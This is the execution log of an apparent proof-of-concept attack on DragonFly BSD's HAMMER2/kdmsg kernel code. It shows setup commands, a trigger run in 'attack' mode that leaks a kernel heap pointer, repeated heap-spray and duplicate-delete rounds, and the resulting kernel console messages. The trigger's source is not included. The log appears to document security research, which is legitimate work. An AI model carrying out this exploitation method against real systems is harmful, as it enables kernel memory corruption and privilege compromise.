+ D=/root/poc/df2707
+ MODE=attack
+ mkdir -p /root/poc/df2707
+ vnconfig -u vn0
+ [ -f /root/poc/df2707/img ]
+ vnconfig -c vn0 /root/poc/df2707/img
+ newfs_hammer2 -L testvol /dev/vn0
+ mkdir -p /mnt/h2poc
+ cc -O -I/usr/src/sys -o /root/poc/df2707/df2707_trigger /root/poc/df2707/df2707_trigger.c
+ dmesg
+ /root/poc/df2707/df2707_trigger attack 3 24
TRIGGER_RC=0
+ echo 'TRIGGER_RC=0'
+ sleep 1
+ dmesg
=== trigger stdout ===
+ echo '=== trigger stdout ==='
+ cat /root/poc/df2707/trigger.out
PEER_SOCK sndbuf=2048
AUTO_CONN cmd=80001106 msgid=0xfffff801176d85d0  <== kernel heap ptr (DF-2708)
ROUND=0 junk=160 ndel=24
FIONREAD_BEFORE_DUPDEL=2048
FIONREAD_AFTER_DUPDEL=2048
DRAIN_DONE sprayed=512
ROUND_0_DONE alive
ROUND=1 junk=160 ndel=24
FIONREAD_BEFORE_DUPDEL=2048
FIONREAD_AFTER_DUPDEL=2048
DRAIN_DONE sprayed=512
ROUND_1_DONE alive
ROUND=2 junk=160 ndel=24
FIONREAD_BEFORE_DUPDEL=2048
FIONREAD_AFTER_DUPDEL=2048
DRAIN_DONE sprayed=512
ROUND_2_DONE alive
ATTACK_SEQUENCE_DONE — attempting to linger+unmount
TRIGGER_DONE (kernel not crashed yet — corruption may be latent)
=== new kdmsg/hammer2 console lines ===
+ echo '=== new kdmsg/hammer2 console lines ==='
+ grep '^>'
+ diff /root/poc/df2707/dmesg.before /root/poc/df2707/dmesg.after
+ head -60
> hammer2_mount: devstr="/dev/vn0@testvol"
> hammer2_mount: device="/dev/vn0" label="testvol" rdonly=0
> hammer2_ondisk: "/dev/vn0" zone=0 id=0 offset=0x0000000000000000 size=0x0000000008000000
> hammer2_mount: "/dev/vn0": no recovery needed
> hammer2_mount: hmp=0xfffff80118420000 pmp=0xfffff80118c00000
> kdmsg: msgrx: no state match for REPLY cmd=a00fff01 msgid=fffff801176d85d0
> kdmsg: msgrx: state=0xfffff801184200b8 error 22
> kdmsg: state 0xfffff80117699750 interlock!
> kdmsg: state 0xfffff8011769a1f0 interlock!
> kdmsg: state 0xfffff8011769af10 interlock!
> kdmsg: state 0xfffff8011769b550 interlock!
> kdmsg: state 0xfffff801192fb550 interlock!
> kdmsg: state 0xfffff801192fc9f0 interlock!
> kdmsg: state 0xfffff801192ff5b0 interlock!
> kdmsg: state 0xfffff80119355e70 interlock!
> kdmsg: state 0xfffff80119356cd0 interlock!
> kdmsg: state 0xfffff801193582b0 interlock!
> kdmsg: state 0xfffff801193599d0 interlock!
> kdmsg: state 0xfffff8011935a470 interlock!
> kdmsg: state 0xfffff8011935aab0 interlock!
> kdmsg: state 0xfffff8011935b690 interlock!
> kdmsg: state 0xfffff8011935d210 interlock!
> HAMMER2: VOLDATA DUMP
> HAMMER2: INITIATE SPANs
> HAMMER2: CONN WAS TERMINATED
=== leak cross-check (DF-2708) ===
+ echo '=== leak cross-check (DF-2708) ==='
+ tail -4
+ grep 'volconf update' /root/poc/df2707/dmesg.after
+ echo '=== unmount attempt (hang => corrupted teardown) ==='
+ umount /mnt/h2poc
=== unmount attempt (hang => corrupted teardown) ===
UMOUNT_RC=0
+ echo 'UMOUNT_RC=0'
+ vnconfig -u vn0
RUN_DF2707_DONE
+ echo RUN_DF2707_DONE